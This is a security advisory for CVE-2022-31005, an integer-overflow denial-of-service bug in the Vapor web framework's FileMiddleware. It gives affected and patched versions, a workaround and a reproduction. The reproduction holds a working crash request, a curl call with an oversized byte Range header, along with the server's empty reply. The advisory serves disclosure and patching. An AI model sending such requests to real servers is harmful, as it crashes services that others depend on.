Denial of Service attack in Vapor's HTTP Range Request

Moderate **0xTim** published **GHSA-vj2m-9f5j-mpr5** on May 31

Package

Vapor (SwiftPM)

Affected versions	Patched versions
< 4.60.2	4.60.3

Description

Impact

Everyone with FileMiddleware enabled is vulnerable. This is a Denial of Service attack that can crash the application

Patches

This is patched in 4.60.3. If you are using `FileMiddleware` you should upgrade to this version.

Workarounds

Disable FileMiddleware and serve static files via a CDN

For more information

If you have any questions or comments about this advisory:

- Open an issue in the Vapor repo
- Ask in Vapor Discord

To Reproduce

```
let file = FileMiddleware(publicDirectory: "/tmp/files")
app.middleware.use(file)

try app.run()
```

To repro, I created a directory called `/tmp/files` with a 10 MB file in it like so:

```
mkdir /tmp/files; dd if=/dev/urandom of=/tmp/files/random_10m bs=1m count=10
```

To be honest, any file of any size will do...

To reproduce the issue, it's enough to request a range like `0-9223372036854775807` and Vapor will crash (integer overflow).

```
$ curl -v -r 0-9223372036854775807 http://localhost:8080/random_10m
* Trying 127.0.0.1:8080...
* Connected to localhost (127.0.0.1) port 8080 (#0)
GET /random_10m HTTP/1.1
Host: localhost:8080
Range: bytes=0-9223372036854775807
User-Agent: curl/7.79.1
Accept: */*

* Empty reply from server
* Closing connection 0
curl: (52) Empty reply from server
```

Severity

Moderate

CVE ID

CVE-2022-31005

Weaknesses

CWE-190

Credits

weissi